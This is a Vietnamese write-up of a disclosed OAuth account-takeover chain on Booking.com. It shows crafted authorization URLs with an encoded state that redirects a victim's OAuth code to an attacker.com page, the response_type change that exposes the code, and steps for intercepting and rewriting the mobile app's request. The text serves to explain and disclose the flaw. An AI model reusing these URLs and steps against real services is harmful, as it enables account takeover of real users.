Bài viết này mô tả khá dễ hiểu hai luồng OAuth phổ biến là Implicit Flow và Authorization Code Flow cũng như là các cách khai thác lỗ hổng liên quan đến OAuth xảy ra trong Booking.com
How Does OAuth Work for Authentication?
Minh họa cho Implicit Flow:
How OAuth Works in Booking.com
Booking.com sử dụng Authorization Code Flow:
Account Takeover on Booking.com
Booking.com cho phép sử dụng redirect_uri
với bất kỳ path nào mà ta muốn:
Tìm được lổ hổng Open Redirect ở chức năng thêm Display Name:
URL dùng để thêm Display Name có dạng:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9
Với giá trị của state
khi được decode ra sẽ là:
{
"mysettings_path": "/mysettings/personal",
"aid": "123"
}
Và nó sẽ redirect về:
https://account.booking.com/mysettings/personal
Bằng cách thay đổi field mysettings_path
và encode lại rồi truyền vào state
của endpoint /oauth2/authorize
, ta có thể thực hiện redirect về một absolute URL mà ta mong muốn:
{
"mysettings_path": "https://www.attacker.com/index.php",
"aid": "123"
}
Như vậy, URL hoàn chỉnh:
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
Có một vấn đề: giá trị code
khi được redirect sẽ nằm trong query param của redirect_uri
đầu tiên chứ không nằm trong https://www.attacker.com/index.php
. Chỉ khi nào code
nằm trong hash fragment (sau dấu #
) thì nó mới được truyền đến https://www.attacker.com/index.php
. Để giải quyết điều này, ta có thể thay đổi response_type
thành code,token
.
Lý do mà Implicit Flow sử dụng hash fragment để lưu token là vì nó chỉ có thể được đọc bởi JavaScript ở client-side và không được gửi đến server cũng như là lưu ở trong log.
Minh họa:
Ở trang index.php
, kẻ tấn công sẽ viết một đoạn script JavaScript nhằm để lấy code
.
Account Takeover Attempt 1
Sau khi có code
thì ta sẽ intercept một authorization request bất kỳ để chèn code vào nhằm hoàn thành OAuth flow. Tuy nhiên, khi sử dụng code
của victim để lấy access token trong URL sau:
https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object]
Hệ thống trả về “Invalid code”.
Debugging the Account Takeover Failure — What Did We Miss?
Theo tài liệu của Facebook, redirect_uri
trong access token request (request dùng code
để lấy access token) phải giống với redirect_uri
dùng trong request đầu tiên (authorization request). Tuy nhiên, do Booking.com gán cứng redirect_uri
trong access token request là https://account.booking.com/social/result/facebook
nên nó quăng lỗi.
Finding Security Gap 3
Tiến hành nghiên cứu luồng OAuth ở trên ứng dụng di động sử dụng Android Studio, Frida (để bypass SSL pinning) và decompiler. Luồng OAuth có dạng như sau:
Có thể thấy, từ bước 3 đến bước 6, giá trị code
được truyền từ Facebook đến Chrome, sau đó đến Booking.com, về lại application rồi qua Booking.com một lần nữa. Ở bước 6, application gửi code
thông qua một POST request:
Giá trị resultUri
sẽ được truyền vào redirect_uri
của access token request gửi đến Facebook. Có thể nói, đây chính là request ở back channel sử dụng giá trị gán cứng https://account.booking.com/social/result/facebook
mà khiến cho ta gặp lỗi khi sử dụng ứng dụng web. Giờ đây, khi có thể kiểm soát được request này, ta sẽ thay resultUri
thành đường dẫn mà sẽ thực hiện redirect như ta mong muốn:
https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
Các bước tấn công:
- Đăng nhập vào Booking.com sử dụng tài khoản của kẻ tấn công ở trên ứng dụng.
- Intercept request ở bước 6.
- Thay thế
code
của nạn nhân vào. - Thay thế
resultURi
thành đường dẫn trên để Facebook không quăng lỗi.